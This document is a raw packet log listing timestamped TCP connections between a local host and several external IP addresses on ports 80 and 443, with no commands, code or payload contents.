Sep 18, 2024 14:30:10.197143078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197153091 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197154999 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197166920 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197171926 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197179079 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197191000 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197191000 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197204113 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197215080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197215080 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197227001 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197237968 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197240114 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197252035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197252035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197268009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197278976 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197278976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197293997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197304010 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197305918 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197319031 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197319984 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197333097 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197345972 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197345972 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197359085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197372913 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197375059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197386980 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197387934 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197408915 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197422028 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197423935 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197427034 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197437048 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197448015 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197459936 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197474003 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197474957 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197504044 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197518110 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197597027 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197611094 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197621107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197630882 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197638035 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197643995 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197654963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197654963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197654963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197670937 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197675943 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197683096 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197695017 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197701931 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197707891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197717905 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197719097 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197730064 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197741032 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197747946 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197760105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197772980 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197777987 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197783947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197788000 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197798014 CEST	443	49721	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:10.197801113 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197812080 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197813988 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197818995 CEST	443	49720	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:10.197824001 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197835922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197841883 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197846889 CEST	49721	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:10.197853088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197861910 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197865009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197875977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197880983 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197885990 CEST	49720	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:10.197886944 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197896957 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197899103 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197905064 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197912931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197921038 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197925091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197938919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197947025 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197951078 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197966099 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197973967 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197976112 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197988987 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197989941 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198004007 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198014021 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198024988 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198028088 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198038101 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198039055 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198050022 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198052883 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198061943 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198082924 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198110104 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198302031 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198314905 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198327065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198338032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198338985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198353052 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198354959 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198368073 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198369026 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198379993 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198390961 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198399067 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198400021 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198411942 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198429108 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198434114 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198435068 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198446989 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198458910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198462963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198470116 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198478937 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198481083 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198493004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198503017 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198503971 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198513985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198525906 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198529005 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198538065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198548079 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198573112 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198597908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198611021 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198621035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198632956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198637009 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198645115 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198657036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198657036 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198671103 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198682070 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198683023 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198693991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198705912 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198709011 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198719025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198723078 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198730946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198749065 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198750019 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198765993 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198771954 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198777914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198788881 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198797941 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198800087 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198811054 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198827028 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198827028 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198839903 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198846102 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198853016 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198860884 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198864937 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198875904 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198888063 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198888063 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198899031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.198909044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198915005 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198920012 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198931932 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198931932 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.198941946 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198947906 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198955059 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198966980 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198976040 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.198978901 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.198992014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.199002028 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.199002981 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199017048 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.199048042 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.199048996 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199256897 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199270010 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199280977 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199291945 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199294090 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199306011 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199316025 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199316978 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199327946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199338913 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199341059 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199352026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199358940 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199362040 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199373007 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199376106 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199394941 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199408054 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199414968 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199420929 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199424028 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199433088 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199444056 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199448109 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199476004 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199682951 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199695110 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199706078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199717045 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199718952 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199728966 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199740887 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199740887 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199753046 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199764013 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199767113 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199775934 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199786901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199798107 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199807882 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199811935 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199811935 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199820042 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199835062 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199842930 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199851036 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199857950 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199877977 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199887991 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199889898 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199902058 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199913025 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199923992 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199932098 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199932098 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199934959 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199947119 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199959993 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199970007 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199970961 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199970961 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.199985027 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199995995 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.199996948 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200006008 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200017929 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200030088 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200038910 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200046062 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200046062 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200051069 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200064898 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200083017 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200088978 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200088978 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200095892 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200107098 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200118065 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200129986 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200130939 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200130939 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200145006 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200156927 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200159073 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200169086 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200181007 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200203896 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200203896 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200259924 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200665951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200679064 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200690031 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200701952 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200707912 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200712919 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200725079 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200736046 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200747967 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200757980 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200758934 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200758934 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200769901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200782061 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200799942 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200803995 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200803995 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200813055 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200825930 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200838089 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200849056 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200854063 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200854063 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200862885 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200874090 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200885057 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200894117 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200894117 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200896978 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200911045 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200932026 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200933933 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200942993 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200953960 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200965881 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200965881 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200965881 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.200980902 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200993061 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.200999022 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.201005936 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.201013088 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.201018095 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.201029062 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.201030016 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.201042891 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.201054096 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.201056957 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.201073885 CEST	80	49704	147.45.44.104	192.168.2.7
